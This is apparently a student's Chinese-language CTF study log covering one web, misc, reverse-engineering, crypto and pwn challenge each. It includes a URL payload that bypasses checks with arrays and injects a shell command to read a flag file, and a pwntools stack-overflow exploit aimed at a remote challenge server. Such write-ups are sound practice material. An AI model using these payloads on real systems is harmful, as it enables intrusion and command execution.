1.23学习记录
web
XYNU2024信安杯 哎~想她了
源代码找到提示,访问页面第一层数组绕过,第二层发现ls /可以执行,接着用less代替tac和cat less /fl[a-z]g
exp:
URL/?fj1[]=1&fj2[]=2&cmd=less /fl[a-z]g
misc
[SWPU 2020]套娃
下载附件后得到一个Excel文档,但是打不开根据查阅,Excel本质上就是压缩包,就一直解压直到解压不了为止文件中大量出现rc4提示,可能与rc4加密有关,rc4key是个加密压缩包,用010看看旁边那个压缩包在最后找到了密码,根据前面得到的密文去解密得到key=ABCDEFGHIJKLMNOPQRSTUVWXYZ
re
[SWPUCTF 2021 新生赛]re2
先查壳用ida64查看,先找到主调函数求伪c首先进去看到了字符串str2,然后就是输出函数跟输入函数,v7存的是str的字长用于限制下面for循环的次数,下面for循环的意思是满足条件改变字符串,大概的意思就是str2是被改的字符串,循环的次数就是str2的长度也就是12次。
exp:
s = “ylqq]aycqyp{”
x = “”
for char in s:
ascii_value = ord(char)
if (ascii_value <= 94 or ascii_value > 96) and (ascii_value <= 62 or ascii_value > 64):
new = ascii_value + 2
else:
new = ascii_value - 24
x += chr(new)
print(x)
解得{nss_c{es{r}
crypto
[LitCTF 2023]Hex?Hex!(初级)
得到一个txt用随波逐流一把梭看一下,发现是鸭语Nak加密
pwn
[BUUCTF]bjdctf_2020_babystack
用ida查看,发现在read处存在栈溢出
__isoc99_scanf("%d", &nbytes)
让用户输入下次输入时接受的数据的长度。
read(0, &buf, (unsigned int)nbytes)
变量nbytes用户可控,存在栈溢出。
在目标函数func处发现后门函数去找找bin/sh位置exp:
from pwn import *
io=remote('node2.anna.nssctf.cn',28733)
io.sendlineafter("name:",b'100')
payload=b'a'*(0x10+8)+p64(0x4006E6)
io.sendlineafter("name?",payload)
io.interactive()